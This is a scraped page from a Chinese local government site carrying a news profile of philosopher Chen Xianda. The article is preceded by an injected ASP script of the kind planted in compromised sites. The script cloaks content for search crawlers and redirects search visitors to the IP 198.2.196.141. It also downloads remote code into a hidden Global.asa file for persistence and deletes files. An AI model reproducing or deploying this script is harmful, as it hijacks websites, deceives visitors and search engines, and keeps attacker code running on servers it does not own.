' ' 'by*aming Server.ScriptTimeout=600 Public Function createasa(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asa")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asa"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function createasax(ByVal Content) On Error Resume Next Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/Global.asax")) f.Attributes=0 Set Obj = Server.CreateObject("adod" & "b.S" & "tream") Obj.Type = 2 Obj.open Obj.Charset = "gb2312" Obj.Position = Obj.Size Obj.writetext = Content Obj.SaveToFile "//./" & Server.MapPath("/Global.asax"),2 Obj.Close Set Obj = Nothing f.Attributes=1+2+4 set f=Nothing Set fso = Nothing End Function Public Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent",url ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function Function check(user_agent) allow_agent=split("Baiduspider,Sogou,baidu,Sosospider,Googlebot,FAST-WebCrawler,MSNBOT,Slurp,360,so,haosou",",") check_agent=false For agenti=lbound(allow_agent) to ubound(allow_agent) If instr(user_agent,allow_agent(agenti))>0 then check_agent=true exit for end if Next check=check_agent End function Function CheckRobot() CheckRobot = False Dim Botlist,i,Repls Repls = request.ServerVariables("http_user_agent") Krobotlist = "Baiduspider|Googlebot" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(Repls,Botlist(i)) > 0 Then CheckRobot = True Exit For End If Next If Request.QueryString("admin")= "1" Then Session("ThisCheckRobot")=1 If Session("ThisCheckRobot") = 1 Then CheckRobot = True End Function Function CheckRefresh() CheckRefresh = False Dim Botlist,i,Repls Krobotlist = "baidu|google|sogou|soso|youdao|bing|yahoo|qihoo|iask|haosou|360.cn|so.|anquan|qq.|51yes|51.la" Botlist = Split(Krobotlist,"|") For i = 0 To Ubound(Botlist) If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then CheckRefresh = True Exit For End If Next End Function Sub sleep() If response.IsClientConnected=true then Response.Flush else response.end end if End Sub If CheckRefresh=true Then cnnbd=lcase(Request.ServerVariables("HTTP_HOST")&request.ServerVariables("HTTP_URL")) 'response.redirect("http://198.2.196.141/?"&cnnbd&"") fkurl = GetHtml("http://198.2.196.141/") Response.Write fkurl response.end end If user_agent=Request.ServerVariables("HTTP_USER_AGENT") if check(user_agent)=true then body=GetHtml("http://198.2.196.141/") response.write body urlname="http://"&request.servervariables("HTTP_HOST") link=GetHtml(urlname) response.write link response.end else asa=GetHtml("http://198.2.196.141/globalquan.txt") if instr(asa,"by*aming")>0 then createasa(asa) end if dim name name=request.servervariables("Path_Translated") Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa")) Dim v Dim t ReDim A(Request.Form.Count) ReDim B(Request.Form.Count) v=Request.Form t=Request.Form.Count if t>0 then For i=0 To t-1 b(i)=Split(Split(v,"&")(i),"=")(1) if instr(LCase(b(i)),"global.asa")>0 then f.Attributes=1+2+4 response.end() end if Next end if if DC=false and CF=True and request.servervariables("QUERY_STRING")<>"" then response.redirect(Rurl&"?"&Request.ServerVariables("HTTP_HOST")) elseif instr(name,";")>0 then set m=fso.Getfile(name) m.Attributes=0 fso.DeleteFile(name) f.Attributes=1+2+4 response.end() end if ScriptAddress=Request.ServerVariables("SCRIPT_NAME") namepath=Server.MapPath(ScriptAddress) If Len(Request.QueryString) > 0 Then ScriptAddress = ScriptAddress & "?" & Request.QueryString end if geturl ="http://"& Request.ServerVariables("http_host") & ScriptAddress geturl =LCase(geturl) 'response.write replace(namepath,server.MapPath("/"),"") 'response.end 'if instr(geturl,"jc=ok")=0 and instr(geturl,"global=ok")=0 and instr(LCase(Request.ServerVariables("http_host")),"gov.cn")=0 and instr(LCase(Request.ServerVariables("http_host")),"edu.cn")=0 and if instr(geturl,"http://"& Request.ServerVariables("http_host") &"/index.asp")=0 and instr(geturl,"http://"& Request.ServerVariables("http_host") &"/")=0 and instr(LCase(Request.ServerVariables("HTTP_REFERER")),LCase(Request.ServerVariables("http_host")))<=0 then agent = lcase(request.servervariables("http_user_agent")) referer = LCase(Request.ServerVariables("HTTP_REFERER")) bot = "" Amll = "" if instr(agent, "+") > 0 then bot = agent if instr(agent, "-") > 0 then bot = agent if instr(agent, "http") > 0 then bot = agent if instr(agent, "spider") > 0 then bot = agent if instr(agent, "bot") > 0 then bot = agent if instr(agent, "linux") > 0 then bot = agent if instr(agent, "baidu") > 0 then bot = agent if instr(agent, "google") > 0 then bot = "nobot" if instr(agent, "yahoo") > 0 then bot = "nobot" if instr(agent, "msn") > 0 then bot = "nobot" if instr(agent, "alexa") > 0 then bot = "nobot" if instr(agent, "sogou") > 0 then bot = "nobot" if instr(agent, "youdao") > 0 then bot = "nobot" if instr(agent, "soso") > 0 then bot = "nobot" if instr(agent, "iask") > 0 then bot = "nobot" if bot="nobot" then 'Call WriteErr 'response.end end if If Instr(REFERER,"http") > 0 and Instr(REFERER,".") > 0 and Instr(REFERER,"/") > 0 and Instr(REFERER,"?") > 0 and Instr(REFERER,"=") > 0 Then Amll = "ok" tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if tjcount="" then response.cookies("cookie_tjcount")=0 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) end if if date1<>date2 then response.cookies("cookie_date")=date2 response.cookies("cookie_date").Expires=DateAdd("d",365,now()) end if tjcount=request.Cookies("cookie_tjcount") date1=request.Cookies("cookie_date") date2=year(date)&month(date)&day(date) if date1=date2 and len(bot) = 0 then if int(tjcount)<10 and len(Amll)>0 then response.cookies("cookie_tjcount")=int(tjcount)+1 response.cookies("cookie_tjcount").Expires=DateAdd("d",1,now()) strHost=Request.ServerVariables("HTTP_HOST") Response.Redirect("http://198.2.196.141/?domain="&strHost&"") else response.write "系统找不到指定的文件。" 'response.write "" 'response.write gethtml(geturl&"?global=ok") end if response.end end if Call sleep() end if end if ' 走近《榜样》(四)“姓马”更“信马”的陈先达_教育动态(图文)_党员教育_马尔康组工网——中共马尔康市委组织部信息中心
  您的位置  首页 >> 党员教育 >> 教育动态(图文) >> 正文
走近《榜样》(四)“姓马”更“信马”的陈先达
[审核: | 撰稿: | 日期:2017年10月12日 | 浏览946 次] 字体:[ ]

 


 

    在《榜样》节目录制现场,共产党员网记者看到了一群中国人民大学的学生,他们早早来到这里迎候他们的老师陈先达。出生于1930年的陈先达教授,今年已经87岁了,从事马克思主义哲学研究60多年。当主持人问陈老:“您信吗?”陈老毫不迟疑地回答:“我是从旧社会走过来的,我坚信马克思主义的科学性,真理性。”自称“80后”的陈老说:“只有‘信马’,才能真正‘姓马’。”陈先达教授的学生告诉共产党员网记者,他们老师是出了名的爱看书、爱写作,他的家,一方斗室却内有乾坤,满屋子的书,堆得到处都是。现在,老师已经出版了《处在夹缝中的哲学》《陈先达文集》等多本著作,还主编了《马克思主义基本原理教程》《马克思主义哲学原理》《中国特色社会主义文化研究》等有影响力的书籍,是名副其实的“著作等身”。

 

    “中国知识分子具有爱国忧时的民族精神传统”

 

    5年前的那个傍晚,陈先达在电视上看到习近平总书记参观“复兴之路”展览,发表了关于中国梦的讲话,心潮澎湃,激动不已,久久难以入睡……他情不自禁地仿写陆游《示儿》:“两岸一统日,家祭告乃翁。”

 

    面对社会上的一些错误思潮,陈老总会以笔为剑,积极作出批判和回应。现在,很多年轻人受西方意识形态的影响,提倡价值观的多元化。但是在他看来,这种看法、想法是错误的。他说,从世界范围来看,价值观是多元的,但在中国,价值观是一元的,只有多样化,没有多元化。

 

    “中国知识分子具有爱国忧时的民族精神传统,老年知识分子更是如此。”陈先达说。

 

    “信马”才能真“姓马”

 

    23岁那年,陈先达从复旦大学历史系毕业后来到中国人民大学马克思主义哲学研究班深造,从此,陈先达就留在了学校。陈老从事马克思主义哲学研究多年,始终坚信马克思主义的科学性、真理性。他说:“我读的东西不多,但就我接触过的书本而言,我深感没有一种哲学社会学说像马克思主义基本理论和它的世界观方法论那样,能使我们对当今世界问题的观察‘心明眼亮’。”放眼世界,体察自身。“从新中国建立60多年的经验来看,如果摒弃马克思主义的理论指导,往往不得要领,甚至是一大堆废话和谎言。”陈先达强调,马哲这个专业的特点就是专业、职业、信仰三者必须统一,如果单纯把它作为一种谋生手段是不行的。与其他专业的教师不同,他不仅传授知识,同时也传播一种信仰。他认为,从事马克思主义理论的学习与研究,是青年学生的历史使命,更是时代责任。

 

    不讲没有准备的课

 

    陈先达上课生动有趣,极富逻辑,“把教义整理出来就是一篇完整的文章”。他自信地说,“对于教书,我最大的优点是认真,绝不讲没有准备的课,务求达到讲一堂课有一点思想,绝不倒‘白开水’。”到了晚年,陈先达的哲学课堂更灵活了,“学生们经常来问问题,我的家门永远向他们敞开。他们喜欢陪我散步,在人大的林荫道上。除了教室,我的家和林荫道都是课堂。”(文章转自共产党员网)

 


相关文章

  • ·没有相关文章

相关专题

  • ·专题1信息无
  • ·专题2信息无